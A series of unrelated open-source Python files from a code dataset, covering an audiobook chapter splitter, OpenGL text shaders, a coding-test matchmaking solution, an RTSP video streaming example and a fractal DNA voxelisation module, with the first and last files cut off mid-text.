stderr=subprocess.PIPE)\n\n            # Rename file in windows\n            if sys.platform.startswith('win'):\n                new_filename = os.path.join(output_dir, '%s.%s' % (chapter_name, args.ext))\n                log.debug('Renaming \"%s\" to \"%s\".\\n' % (fname, new_filename))\n                shutil.move(fname, new_filename)\n\n\n\n############################\n# Main\n#\ndef main():\n    if sys.version_info[0] >= 3:\n        raise Exception(\"This script sadly does not work with python3\")\n\n    # Current working directory\n    cwd = os.getcwd()\n\n    # parse arguments\n    args = parse_args()\n\n    # for each m4b file\n    for filename in args.filename:\n        \n        # fixes relative path\n        if(not(os.path.isabs(filename))):\n            filename = os.path.join(cwd, filename)\n\n        # create output directory\n        # full_filename = os.path.join(cwd, filename)\n        basename = os.path.splitext(os.path.basename(filename))[0]\n        output_dir = os.path.join(args.output_dir, basename)\n        # skip encoding xor create tmp dir\n        if args.skip_encoding:\n            temp_dir = output_dir\n        else:\n            temp_dir = os.path.join(output_dir, 'temp')\n\n        # setup logging\n        log = setup_logging(args, basename)\n\n        # File does not exist\n        if(not(os.path.isfile(filename))):\n            log.info(\"File does not exist: '%s'.\" % filename)\n            exit(1)\n\n        output_dir = output_dir.decode('utf-8')\n\n        # Print some basic info\n        log.info(\"M4B Split: '%s'.\" % os.path.basename(filename))\n        log.debug(\"Full filename: '%s'\" % filename)\n        log.debug(\"New directory for chapters: '%s' \" % basename)\n        log.debug(\"Output dir: '%s' \" % output_dir)\n\n\n        # grab metadata\n        chapters, sample_rate, bit_rate, metadata = load_metadata(args, log, filename)\n        show_metadata_info(args, log, chapters, sample_rate, bit_rate, metadata)\n\n        # encode to mp3\n        encoded_file = encode(args, log, output_dir, temp_dir, filename,\n            basename, sample_rate, bit_rate, metadata)\n\n        # extract the cover art\n        if(args.extract_cover_art and not(args.pipe_wav)): # not sure if it can be piped\n            extract_cover_art(args, log, output_dir, filename)\n        \n        # split into chapter files\n        split(args, log, output_dir, encoded_file, chapters, temp_dir)\n\n        # deletes temporary files\n        if(not(args.keep_tmp_files) and not(args.skip_encoding)):\n            log.debug(\"Cleaning up temporary files\")\n            shutil.rmtree(temp_dir)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"zymos/audiobook_tools","sub_path":"audiobook_tools/audiobook_reencoder/old/m4b_split/m4b.py","file_name":"m4b.py","file_ext":"py","file_size_in_byte":23273,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"38182137637","text":"#!/usr/bin/python3\nimport sys\n\nif __name__ == \"__main__\":\n    my_list = sys.argv\n\n    my_list.pop(0)\n\n    my_sum = 0\n\n    for list_items in my_list:\n\n        new_list = int(list_items)\n        my_sum += new_list\n\n    print(my_sum)\n","repo_name":"Triad01/alx-higher_level_programming","sub_path":"0x02-python-import_modules/3-infinite_add.py","file_name":"3-infinite_add.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18678919487","text":"import OpenGL.GL.shaders\nfrom OpenGL.GL import *\nfrom OpenGL.GLUT import *\nfrom OpenGL.GLU import *\nimport freetype\n\nglobal LOADED_CHARACTERS\nLOADED_CHARACTERS = None\n\ndef getCharacters():\n\tglobal LOADED_CHARACTERS\n\treturn LOADED_CHARACTERS\n\nclass CharacterSlot:\n    def __init__(self, texture, glyph):\n        self.texture = texture\n        self.textureSize = (glyph.bitmap.width, glyph.bitmap.rows)\n\n        if isinstance(glyph, freetype.GlyphSlot):\n            self.bearing = (glyph.bitmap_left, glyph.bitmap_top)\n            self.advance = glyph.advance.x\n        elif isinstance(glyph, freetype.BitmapGlyph):\n            self.bearing = (glyph.left, glyph.top)\n            self.advance = None\n        else:\n            raise RuntimeError('unknown glyph type')\n\ndef load_shader(type=\"default\"):\n\tif type == \"gradient\": return GEN_DEFAULT_SHADER_WITH_GRADIENT()\n\tif type == \"text\": return GEN_TEXT_SHADER()\n\treturn GEN_DEFAULT_SHADER()\n\t\n\t\ndef GEN_DEFAULT_SHADER():\n\t#gl_Position = vec4(position+offset, 0.0, 1.0f);\n\tvertex_shader = \"\"\"\n\t#version 330\n\tlayout(location = 0) in vec2 position;\n\tlayout(location = 1) in vec3 buffer_colors;\n\tlayout(location = 2) in float offset_x;\n\tlayout(location = 3) in float offset_y;\n\tout vec3 colors;\n\tuniform mat4 scale;\n    void main()\n    {\n\t\tcolors = buffer_colors;\n\t\tgl_Position = gl_ModelViewProjectionMatrix  * vec4(position.x+(offset_x), position.y+offset_y, 0.0, 1.0f);\n    }\n    \"\"\"\n\t#vertex_shader = vertex_shader.replace(\"\\n\", \"\")\n\tvertex_shader = vertex_shader.replace(\"\\t\", \"\")\n\tfragment_shader = \"\"\"\n    #version 330\n    in vec3 colors;\n    void main()\n    {\n\t\tgl_FragColor = vec4(colors, 1.0);\n    }\n    \"\"\"\n\treturn vertex_shader, fragment_shader\n\t\n\t\ndef GEN_DEFAULT_SHADER_WITH_GRADIENT():\n\tprint(\"Using gradient shader\")\n\tvertex_shader = \"\"\"\n\t#version 330\n\tlayout(location = 0) in vec2 position;\n\tlayout(location = 1) in vec3 buffer_colors;\n\tlayout(location = 2) in vec2 offset;\n\tout vec3 colors;\n\tout vec2 TexCoords;\n    void main()\n    {\n\t\tcolors = buffer_colors;\n\t\tgl_Position =  gl_ModelViewProjectionMatrix * vec4(position.x+offset.x, position.y+offset.y, 0.0, 1.0f);\n\t\t//gl_Position = gl_ModelViewProjectionMatrix * vec4(gl_FragCoord.xy, 0.0, 1.0f);\n\t\tTexCoords = vec2(position.x, position.y);\n    }\n    \"\"\"\n\tfragment_shader = \"\"\"\n\t#version 330\n\tin vec3 colors;\n\tout vec4 FragColor;\n\n\tin vec2 TexCoords;\n\n\tuniform sampler2D image;\n\n\tuniform bool horizontal;\n\tuniform float weight[5] = float[] (0.2270270270, 0.1945945946, 0.1216216216, 0.0540540541, 0.0162162162);\n\n\tvoid main()\n\t{             \n\t\t FragColor = vec4(gl_FragCoord.xy, 0.0, 1.0);\n\t}\n\t\"\"\"\n\tfragment_shader = fragment_shader.replace(\"\\t\", \"\")\n\treturn vertex_shader, fragment_shader\n\t\n\t\ndef GEN_TEXT_SHADER():\n\tVERTEX_SHADER = \"\"\"\n\t\t\t#version 330 core\n\t\t\tlayout (location = 0) in vec4 vertex; // <vec2 pos, vec2 tex>\n\t\t\tout vec2 TexCoords;\n\n\t\t\tuniform mat4 projection;\n\n\t\t\tvoid main()\n\t\t\t{\n\t\t\t\tgl_Position = projection * vec4(vertex.xy, 0.0, 1.0);\n\t\t\t\tTexCoords = vertex.zw;\n\t\t\t}\n\t\t   \"\"\"\n\n\tFRAGMENT_SHADER = \"\"\"\n\t\t\t#version 330 core\n\t\t\tin vec2 TexCoords;\n\t\t\tout vec4 color;\n\n\t\t\tuniform sampler2D text;\n\t\t\tuniform vec3 textColor;\n\n\t\t\tvoid main()\n\t\t\t{    \n\t\t\t\tvec4 sampled = vec4(1.0, 1.0, 1.0, texture(text, TexCoords).r);\n\t\t\t\tcolor = vec4(textColor, 1.0) * sampled;\n\t\t\t}\n\t\t\t\"\"\"\n\treturn VERTEX_SHADER, FRAGMENT_SHADER\n\ndef load_ascii(vao, vbo, face):\n\tglobal LOADED_CHARACTERS\n\tCharacters = {}\n\tfor i in range(0,128):\n\t\tface.load_char(chr(i))\n\t\tglyph = face.glyph\n\t\t\n\t\t#generate texture\n\t\ttexture = glGenTextures(1)\n\t\tglBindTexture(GL_TEXTURE_2D, texture)\n\t\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RED, glyph.bitmap.width, glyph.bitmap.rows, 0,\n\t\t\t\t\t GL_RED, GL_UNSIGNED_BYTE, glyph.bitmap.buffer)\n\n\t\t#texture options\n\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE)\n\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE)\n\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR)\n\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR)\n\n\t\t#now store character for later use\n\t\tCharacters[chr(i)] = CharacterSlot(texture,glyph)\n\t\t\n\tglBindTexture(GL_TEXTURE_2D, 0)\n\n\tglBindVertexArray(vao)\n\t\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo)\n\tglBufferData(GL_ARRAY_BUFFER, 6 * 4 * 4, None, GL_DYNAMIC_DRAW)\n\tglEnableVertexAttribArray(0)\n\tglVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, None)\n\tglBindBuffer(GL_ARRAY_BUFFER, 0)\n\tglBindVertexArray(0)\n\t\n\tLOADED_CHARACTERS = Characters\n\treturn Characters","repo_name":"ImaMapleTree/Ahri-Bot2","sub_path":"_epy/epygraphics/opengl/shaders.py","file_name":"shaders.py","file_ext":"py","file_size_in_byte":4457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73803690962","text":"import json\nimport requests\n\n# setting\nx_auth_token = 'b59556753d81ab3c233922014edb21b2'\nbase_url = 'https://huqeyhi95c.execute-api.ap-northeast-2.amazonaws.com/prod'\ninit_headers = {\n    'X-Auth-Token': x_auth_token,\n    'Content-Type': 'application/json'\n}\ninit_data = '{\"problem\": 2}'\ninit = requests.post(f'{base_url}/start', headers=init_headers, data=init_data)\nauth_key = init.json()['auth_key']\nheaders = {\n    'Authorization': auth_key,\n    'Content-Type': 'application/json'\n}\n\n# answer code\nusers_pred_score = {i+1: 40000 for i in range(900)}  # 유저별 예측 점수\n\nfor minute in range(596):\n    print(f'\\rtime: {minute}', end='')\n\n    game_result = requests.get(f'{base_url}/game_result', headers=headers).json()\n    for result in game_result['game_result']:\n        winner, loser, taken = result['win'], result['lose'], result['taken']\n        diff = (40 - taken) * 99000 / 35\n        prob = users_pred_score[loser] / (users_pred_score[winner] + users_pred_score[loser])\n        if prob > 0.5 and taken <= 10:  # 어뷰징 의심 : 패자가 예측 점수상 이길 확률이 높은데 빨리 지는 경우\n            users_pred_score[winner] += diff * prob / 10  # 이긴 쪽도 불완전한 승부였으므로 승점에 패널티\n        else:\n            users_pred_score[winner] += diff * prob / 2\n            users_pred_score[loser] -= diff * prob / 2\n        users_pred_score[winner] = min(users_pred_score[winner], 100000)\n        users_pred_score[loser] = max(users_pred_score[loser], 1000)\n\n    if minute == 595:\n        grades = sorted(users_pred_score, key=lambda x: users_pred_score[x])\n        json_arr = [{\"id\": user, \"grade\": rank} for rank, user in enumerate(grades)]\n        data = '{\"commands\":' + json.dumps(json_arr) + '}'\n        requests.put(f'{base_url}/change_grade', headers=headers, data=data)\n\n    waiting_line = requests.get(f'{base_url}/waiting_line', headers=headers).json()\n    match_list = [user['id'] for user in waiting_line['waiting_line']]\n    match_list = sorted(match_list, key=lambda x: users_pred_score[x])\n\n    json_arr = [[match_list[i*2], match_list[i*2+1]] for i in range(len(match_list) // 2)]\n    data = '{\"pairs\":' + json.dumps(json_arr) + '}'\n    requests.put(f'{base_url}/match', headers=headers, data=data)\n\nprint('\\n', requests.get(f'{base_url}/score', headers=headers).json())","repo_name":"kimnamjun/CodingTest","sub_path":"프로그래머스/KAKAO BLIND RECRUITMENT/2022 2차 테스트 - 게임매칭/Scenario2.py","file_name":"Scenario2.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18210421019","text":"import time\n\nimport cv2\n\nfrom opencv_gst_rtsp_server import OpenCVFrameRTSPServer\n\ncapture = cv2.VideoCapture(\"rtsp://example.com\")\ngrabbed, frame = capture.read()\nfps = int(capture.get(cv2.CAP_PROP_FPS))\nfps = fps if  60 > fps > 0 else 30\nduration = 1.0/fps \nheight, width, channel = frame.shape\n\nserver = OpenCVFrameRTSPServer(width=width, height=height, channel=channel, fps=fps, use_h265=True, port=8001)\nserver.start_background()\n\nwhile True:\n    start_time = time.time()\n    grabbed, frame = capture.read()\n    if grabbed:\n        server.set_frame(frame=frame)\n    else:\n       capture.set(cv2.CAP_PROP_POS_FRAMES, 0)\n       continue\n    end_time = time.time()\n    elapsed_time = end_time - start_time\n    sleep_duration = duration - elapsed_time\n    if sleep_duration > 0:\n        time.sleep(sleep_duration)","repo_name":"nguyencobap/opencv_gst_rtsp_server","sub_path":"examples/main_frame.py","file_name":"main_frame.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35934013184","text":"from typing import Callable, List, Tuple, Union\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom mpl_toolkits.mplot3d import Axes3D  # NOQA\nfrom tqdm import tqdm\n\nfrom . import hilbert\n\ntry:\n    from mayavi import mlab\n\n    maya_imported = True\nexcept ImportError:\n    maya_imported = False\n    print(\"Could not import mayavi libraries, 3d plotting is disabled\")\n    print(\"MayaVi may need Python2\")\n\n\ndef rot_ax_angle(axis: Union[List, np.array], angle: float) -> np.array:\n    \"\"\"Build the rotation matrix for a given rotation around an axis\n\n    :param axis: Rotation axis (3-vector)\n    :param angle: rotation angle (radians)\n\n    :returns: The rotation matrix\n    \"\"\"\n    ax = axis / np.sqrt(np.sum(np.array(axis) ** 2))\n    ux = ax[0]\n    uy = ax[1]\n    uz = ax[2]\n\n    c = np.cos(angle)\n    s = np.sin(angle)\n\n    xx = c + ux**2 * (1 - c)\n    xy = ux * uy * (1 - c) - uz * s\n    xz = ux * uz * (1 - c) + uy * s\n\n    yx = uy * ux * (1 - c) + uz * s\n    yy = c + uy**2 * (1 - c)\n    yz = uy * uz * (1 - c) - ux * s\n\n    zx = uz * ux * (1 - c) - uy * s\n    zy = uz * uy * (1 - c) + ux * s\n    zz = c + uz**2 * (1 - c)\n\n    return np.array([[xx, xy, xz], [yx, yy, yz], [zx, zy, zz]])\n\n\ndef getEulerAngles(rotmatrix: np.array) -> Tuple[float, float, float]:\n    \"\"\"Get the euler angles from a rotation matrix\n\n    :param rotmatrix: 3x3 rotation matrix\n    :return: Euler psi angle\n    \"\"\"\n    sintheta = rotmatrix[2, 0]\n    if abs(sintheta) != 1:\n        theta = -np.arcsin(rotmatrix[2, 0])\n        costheta = np.cos(theta)\n        psi = np.arctan2(rotmatrix[2, 1] / costheta, rotmatrix[2, 2] / costheta)\n        phi = np.arctan2(rotmatrix[1, 0] / costheta, rotmatrix[0, 0] / costheta)\n    else:\n        phi = 0\n        if sintheta < 0:  # Positive case\n            theta = np.pi / 2.0\n            psi = phi + np.arctan2(rotmatrix[0, 1], rotmatrix[0, 2])\n        else:\n            theta = -np.pi / 2.0\n            psi = -phi + np.arctan2(-rotmatrix[0, 1], -rotmatrix[0, 2])\n\n    return psi, theta, phi\n\n\nclass Voxel:\n    \"\"\"\n    Position, rotation and form of a DNA placement voxel.\n\n    The principal axes are used to determine if the DNA would\n    undergo a 90˚ rotation as it passes through the voxel.\n\n    One way to think of them is to consider that the path of your\n    DNA or curve through the voxel is along a continuous z-axis,\n    perpendicular to an X-Y plane. The Principal Axes could be the\n    vectors that describe the direction of the X-axis.\n\n    Class Notes:\n    psi, theta, phi: Euler rotations about the X, Y and Z axes\n    (XYZ rotation order)\n\n    type: code corresponding to geometrical shape\n    pos: XYZ position\n\n    Voxel(pos, inHeading, inPrincipal, outHeading, outPrincipal)\n\n    :param pos: XYZ-position of voxel\n    :param inHeading: vector of the DNA heading \"into\" the voxel.\n    :param inPrincipal: vector of the DNA's principal axis at the\n        entrace to the voxel\n    :param outHeading: vector of the DNA heading \"out\" of the voxel.\n    :param outPrincipal: vector of the DNA's principal axis at the\n        exit to the voxel\n    \"\"\"\n\n    types = {\"straight\": 1, \"straighttwist\": 2, \"turn\": 3, \"turntwist\": 4}\n    types_inverse = {v: k for (k, v) in types.items()}\n    defaultPrincipal = np.array([1, 0, 0])\n    defaultHeading = np.array([0, 0, 1])\n    defaultOrtho = np.cross(defaultPrincipal, defaultHeading)\n    defaultAxis = np.array([defaultPrincipal, -defaultOrtho, defaultHeading])\n    defaultAxis = np.transpose(defaultAxis)\n    defaultAxisInv = np.linalg.inv(defaultAxis)\n\n    def __init__(\n        self,\n        pos: np.array,\n        inHeading: np.array,\n        inPrincipal: np.array,\n        outHeading: np.array,\n        outPrincipal: np.array,\n    ):\n        \"\"\"\n        Constructor\n        \"\"\"\n        # Clean and vet input\n        pos = np.around(pos, decimals=8)\n        inHeading = np.around(inHeading, decimals=8)\n        inPrincipal = np.around(inPrincipal, decimals=8)\n        outHeading = np.around(outHeading, decimals=8)\n        outPrincipal = np.around(outPrincipal, decimals=8)\n\n        assert (inHeading != inPrincipal).any(), (\n            \"degenerate entry vectors: \" + str(inHeading) + str(inPrincipal)\n        )\n        assert (outHeading != outPrincipal).any(), (\n            \"degenerate exit vectors: \" + str(inPrincipal) + str(outPrincipal)\n        )\n\n        self.inHeading = inHeading / np.linalg.norm(inHeading)\n        self.inPrincipal = inPrincipal / np.linalg.norm(inPrincipal)\n        self.outHeading = outHeading / np.linalg.norm(outHeading)\n        self.outPrincipal = outPrincipal / np.linalg.norm(outPrincipal)\n        self.pos = pos\n\n        sameHeading = (self.inHeading == self.outHeading).all()\n        samePrincipal = (self.inPrincipal == self.outPrincipal).all() or (\n            self.inPrincipal == -self.outPrincipal\n        ).all()\n\n        if sameHeading:\n            if samePrincipal:\n                self.type = self.types[\"straight\"]\n            else:\n                self.type = self.types[\"straighttwist\"]\n        else:\n            if samePrincipal:\n                self.type = self.types[\"turn\"]\n            else:\n                self.type = self.types[\"turntwist\"]\n\n        # Now we need to define the euler rotations of the pixel box\n        # We assume that \"No Rotation\" involves the path entering with a +z\n        # direction heading with the principal axis being the +x direction\n        if self.type in [self.types[\"straight\"], self.types[\"straighttwist\"]]:\n            paxis = self.inPrincipal\n        else:\n            paxis = self.outHeading\n\n        self.orth = np.cross(paxis, self.inHeading)\n        self.axis = np.array([paxis, -self.orth, self.inHeading])\n        self.axis = np.transpose(self.axis)\n        self.rotation = np.dot(self.axis, self.defaultAxisInv)\n\n        # Euler angles\n        # Using (x, y, z) rotations = (psi, theta, phi)\n        self.psi, self.theta, self.phi = getEulerAngles(self.rotation)\n\n    def to_text(self, sep: str = \" \") -> str:\n        \"\"\"Print a textual representation of the voxel as\n        KIND POS_X POS_Y POS_Z EUL_PSI EUL_THETA EUL_PHI\n        \"\"\"\n        if len(sep) == 0:\n            raise ValueError(\"Separator cannot be a zero-length string\")\n        l = (\n            [self.types_inverse[self.type]]\n            + list(map(str, list(self.pos)))\n            + list(map(str, [self.psi, self.theta, self.phi]))\n        )\n        return sep.join(l)\n\n    def to_series(self):\n        \"\"\"Return the voxel as a pandas series\"\"\"\n        return pd.Series(\n            {\n                \"KIND\": self.types_inverse[self.type],\n                \"POS_X\": self.pos[0],\n                \"POS_Y\": self.pos[1],\n                \"POS_Z\": self.pos[2],\n                \"EUL_PSI\": self.psi,\n                \"EUL_THETA\": self.theta,\n                \"EUL_PHI\": self.phi,\n            }\n        )\n\n\nclass VoxelisedFractal:\n    \"\"\"\n    Class containing a voxelised representation of a fractal\n\n    Typically created using the VoxelisedFractal.fromSeed class method\n\n    fractal = VoxelisedFractal.fromSeed('X', 1)\n    fractal.fractal contains a list of 'Voxels' representing the DNA Path\n\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"Constructor\"\"\"\n        self.fractal = []\n\n    def __len__(self) -> int:\n        return self.fractal.__len__()\n\n    def to_text(self, sep: str = \" \", comment: str = \"#\"):\n        \"\"\"Return a textual representation of the fractal as\n            KIND POS_X POS_Y POS_Z EUL_PSI EUL_THETA EUL_PHI\n\n        :param sep: string to use to separate fields (default space)\n        :param comment: string to use to denote comment in first line\n            (default hash: #)\n        \"\"\"\n        if len(sep) == 0:\n            raise ValueError(\"Separator cannot be a zero-length string\")\n\n        output = \"IDX KIND POS_X POS_Y POS_Z EUL_PSI EUL_THETA EUL_PHI\"\n        output = output.replace(\" \", sep)\n        text = [comment + output] + [\n            sep.join([str(idx), voxel.to_text(sep=sep)])\n            for idx, voxel in enumerate(self.fractal)\n        ]\n        return \"\\n\".join(text)\n\n    def to_frame(self, suppress_hash: bool = False):\n        \"\"\"Convert voxelised representation to data frame\n\n        :param suppress_hash: Hide the hash in front of the 'IDX' column\n            which is kept for compatibiilty with the Geant4\n            DNA simulation format\n\n        :returns: Voxelised fractal as a data frame\n\n        \"\"\"\n        rows = []\n        hash_option = \"\" if suppress_hash else \"#\"\n        for idx, voxel in enumerate(self.fractal):\n            ss = voxel.to_series()\n            ss[hash_option + \"IDX\"] = idx\n            rows.append(ss)\n        df = pd.DataFrame(rows)\n        return df[\n            [\n                hash_option + \"IDX\",\n                \"KIND\",\n                \"POS_X\",\n                \"POS_Y\",\n                \"POS_Z\",\n                \"EUL_PSI\",\n                \"EUL_THETA\",\n                \"EUL_PHI\",\n            ]\n        ]\n\n    def to_plot(self, refine: int = 0, batch: bool = False) -> plt.figure:\n        \"\"\"\n        Create a matplotlib figure instance of this fractal\n\n        fig = toPlot(refine=0, batch=False)\n        :param refine: points to plot in between voxels (more points = clearer path)\n        :param batch: True to suppress automatic display of the figure\n        \"\"\"\n        pts = [vox.pos for vox in self.fractal]\n\n        refinedpts = []\n        for ii in range(0, len(pts) - 1):\n            refinedpts.append(pts[ii])\n            step = (pts[ii + 1] - pts[ii]) / (refine + 1)\n            for jj in range(1, refine + 1):\n                refinedpts.append(pts[ii] + step * jj)\n        refinedpts.append(pts[len(pts) - 1])\n\n        pts = np.array(refinedpts)\n\n        fig = plt.figure()\n        ax = fig.add_subplot(111, projection=\"3d\")\n        ax.plot(pts[:, 0], pts[:, 1], pts[:, 2])\n\n        if batch is not True:\n            fig.show()\n\n        return fig\n\n    def to_pretty_plot(\n        self, refine: int = 10, mayavi: bool = False, mask: Callable = None\n    ):\n        \"\"\"Create a matplotlib figure instance of this fractal, with curved lines\n        rather than hard corners\n\n        fig = to_pretty_plot(refine=10, batch=False)\n\n        :param refine: points to plot in between voxels (more points = clearer path)\n        :param mayavi: make plot with MayaVI\n        :param mask: Callable function that returns true for voxels that should be\n            plotted. mask is a function that should take a position three vector and\n            return boolean True/False for any position.\n        \"\"\"\n        if mask is not None:\n            if not callable(mask):\n                raise ValueError(\"Mask should be callable\")\n        pts = [vox.pos for vox in self.fractal]\n\n        # replace pts with an array containing the sides of boxes rather than\n        # the centres of boxes. We are then going to interp curves b/w points\n        midpoints = [0.5 * (ii + jj) for ii, jj in zip(pts[0:-1], pts[1:])]\n\n        refinedpts = [pts[0]]\n        for ii in range(0, len(midpoints) - 1):\n            # print(ii)\n            step = 1 / (refine)\n            entry_point = midpoints[ii]\n            exit_point = midpoints[ii + 1]\n            entry_normal = midpoints[ii] - pts[ii]\n            exit_normal = midpoints[ii + 1] - pts[ii + 1]\n            interp = self._interpolator(\n                entry_point, entry_normal, exit_point, exit_normal\n            )\n            for jj in range(0, refine):\n                # print(jj*step)\n                refinedpts.append(interp(step * jj))\n        refinedpts.append(pts[-1])\n\n        pts = np.array(refinedpts)\n        idx = np.round(np.arange(len(pts)) / len(pts), 3)\n        pts = np.concatenate([pts, idx.reshape([len(idx), 1])], axis=1)\n        if mayavi:\n            if mask is not None:\n                # iterate over plot_points to find acceptable points\n                plot_points = [ii for (ii, pos) in enumerate(pts) if mask(pos)]\n                grouped_plot_points = []\n                while len(plot_points) > 0:\n                    end_point = plot_points.pop()\n                    grouped_plot_points\n                    current_point = end_point\n                    while plot_points[-1] == current_point - 1:\n                        current_point = plot_points.pop()\n                        if len(plot_points) == 0:\n                            break\n                    grouped_plot_points.append((current_point, end_point))\n                pts = [pts[start : end + 1] for start, end in grouped_plot_points]\n\n            else:\n                pts = [pts]\n            fig = mlab.figure(bgcolor=(1.0, 1.0, 1.0))\n            for arr in pts:\n                assert np.all(arr[:, 3] >= 0) and np.all(\n                    arr[:, 3] <= 1\n                ), \"\"\"color value was {}, outside acceptable range\n                    [0, 1]\"\"\".format(\n                    arr[:, 3]\n                )\n                mlab.plot3d(\n                    arr[:, 0],\n                    arr[:, 1],\n                    arr[:, 2],\n                    arr[:, 3],\n                    # color=(0., .8, 0),\n                    colormap=\"Spectral\",\n                    tube_radius=0.1,\n                    vmin=0.0,\n                    vmax=1.0,\n                )\n        else:\n            fig = plt.figure()\n            ax = fig.add_subplot(111, projection=\"3d\")\n            ax.plot(pts[:, 0], pts[:, 1], pts[:, 2])\n\n        return fig\n\n    def center_fractal(self) -> None:\n        \"\"\"Center the fractal around (x, y, z) = (0, 0, 0)\"\"\"\n        minvals = np.array([np.inf, np.inf, np.inf])\n        maxvals = np.array([-np.inf, -np.inf, -np.inf])\n\n        # identify max/min values\n        for voxel in self.fractal:\n            for (ii, (minv, v, maxv)) in enumerate(zip(minvals, voxel.pos, maxvals)):\n                if v < minv:\n                    minvals[ii] = v\n                elif v > maxv:\n                    maxvals[ii] = v\n\n        # transform\n        transform = -minvals - (maxvals - minvals) / 2.0\n        for voxel in self.fractal:\n            oldpos = voxel.pos\n            voxel.pos = oldpos + transform\n\n        return None\n\n    def _interpolator(self, point_entry, norm_entry, point_exit, norm_exit):\n        \"\"\"Interpolator for pretty_plot\"\"\"\n        # 1. case 1, norm_entry = norm_exit\n        if (norm_entry == norm_exit).all():\n            interp = lambda x: point_entry + x * (point_exit - point_entry)\n            return interp\n        # 2. Case 2, circular interpolation\n        # 2a. find centre of circle\n        # pdb.set_trace()\n        norm_plane = np.cross(norm_entry, norm_exit)\n        d1 = -np.dot(point_entry, norm_entry)\n        d2 = -np.dot(point_exit, norm_exit)\n        d3 = -np.dot(point_entry, norm_plane)\n        centre = -(\n            d1 * np.cross(norm_exit, norm_plane)\n            + d2 * np.cross(norm_plane, norm_entry)\n            + d3 * np.cross(norm_entry, norm_exit)\n        ) / (np.dot(norm_entry, np.cross(norm_exit, norm_plane)))\n        v_init = point_entry - centre\n        v_final = point_exit - centre\n        rotation_axis = np.cross(v_init, v_final)\n        rotation_axis /= np.linalg.norm(rotation_axis)  # unit vector\n\n        # function to change the magnitude of the vector\n        mag = lambda x: np.linalg.norm(v_init) + x * (\n            np.linalg.norm(v_final) - np.linalg.norm(v_init)\n        )\n\n        vec = lambda x: np.dot(rot_ax_angle(rotation_axis, x * np.pi / 2.0), v_init)\n\n        return lambda x: centre + 2 * mag(x) * vec(x)\n\n    @staticmethod\n    def _makeVoxel(prevVoxel: Voxel, currpos: np.array, nextpos: np.array) -> Voxel:\n        \"\"\"Make the next voxel in a chain.\n\n        :param prevVoxel: Previous Voxel in Chain\n        :param currpos: Position (centre) of the voxel to make\n        :param nexpos: Position (centre) of the next voxel to make\n        \"\"\"\n        # clean and vet output\n        currpos = np.around(currpos, 8)\n        nextpos = np.around(nextpos, 8)\n        prevpos = prevVoxel.pos\n        firstChange = currpos - prevpos\n        secondChange = nextpos - currpos\n        perp = np.cross(firstChange, secondChange)\n        turn = perp.any()\n        if turn:\n            perp = perp.round()\n            return Voxel(\n                currpos,\n                prevVoxel.outHeading,\n                prevVoxel.outPrincipal,\n                secondChange,\n                perp,\n            )\n        else:\n            return Voxel(\n                currpos,\n                prevVoxel.outHeading,\n                prevVoxel.outPrincipal,\n                prevVoxel.outHeading,\n                prevVoxel.outPrincipal,\n            )\n\n    @classmethod\n    def fromSeed(cls, seed: str, iterations: int, distance: float = 1):\n        \"\"\"Make a voxelised fractal from an L-String seed.\n\n        The available L-Strings are described in fractaldna.structure_models.hilbert\n\n        :param seed: Seed L-String\n        :param iterations: number of times to iterate seed\n        :param distance: distance between voxels\n\n        :returns: Voxelised Fractal representation\n        \"\"\"\n        for n in range(iterations):\n            seed = hilbert.iterate_lstring(seed)\n        return cls.fromLString(seed, distance=distance)\n\n    @classmethod\n    def from_path(\n        cls, path: Union[List[np.array], List[List], np.array], pbar: bool = False\n    ):\n        \"\"\"Convert a path (a list of xyz positions) to a voxelised representation\n\n        :param path: path to convert\n        :param pbar: show a progress bar if true\n\n        :returns: Voxelised Fractal representation\n        \"\"\"\n        path = np.asarray(path)\n        if path.shape[1] != 3:\n            raise ValueError(\"Positions in path require 3 elements (xyz)\")\n\n        # Check that we only ever move in the six principal directions\n        for this_pos, next_pos in zip(path, np.roll(path, -1, axis=0)[:-1]):\n            absdiff = np.abs(this_pos - next_pos)\n            if np.sum(absdiff) != 1:\n                raise ValueError(\n                    f\"Going from {this_pos} to {next_pos} is not valid. \"\n                    \"Points should move by one unit in one direction only.\"\n                )\n\n        lastpos = np.array([2 * path[len(path) - 1] - path[len(path) - 2]])\n        path = np.concatenate([path, lastpos])\n\n        vf = cls()\n\n        arrpath = np.array(path)\n\n        mins = np.zeros(3)  # array [xmin, ymin, zmin]\n        maxs = np.zeros(3)  # array [xmax, ymax, zmax]\n        lens = np.zeros(3)\n\n        for ii in range(3):\n            mins[ii] = min(arrpath[:, ii])\n            maxs[ii] = max(arrpath[:, ii])\n            lens[ii] = maxs[ii] - mins[ii]\n\n        first = arrpath[0]\n        second = arrpath[1]\n        zeroheading = second - first\n        zeroposition = first - zeroheading\n        zeroprincipal = np.array([1, 0, 0])\n        if (np.around(zeroheading, 8) == zeroprincipal).all():\n            zeroprincipal = np.array([0, 1, 0])\n        zeroVoxel = Voxel(\n            zeroposition, zeroheading, zeroprincipal, zeroheading, zeroprincipal\n        )\n\n        vf.fractal = [cls._makeVoxel(zeroVoxel, first, second)]\n\n        stop = len(path) - 1\n        iters = tqdm(\n            range(1, stop), disable=(not pbar), total=stop - 1, desc=\"Building 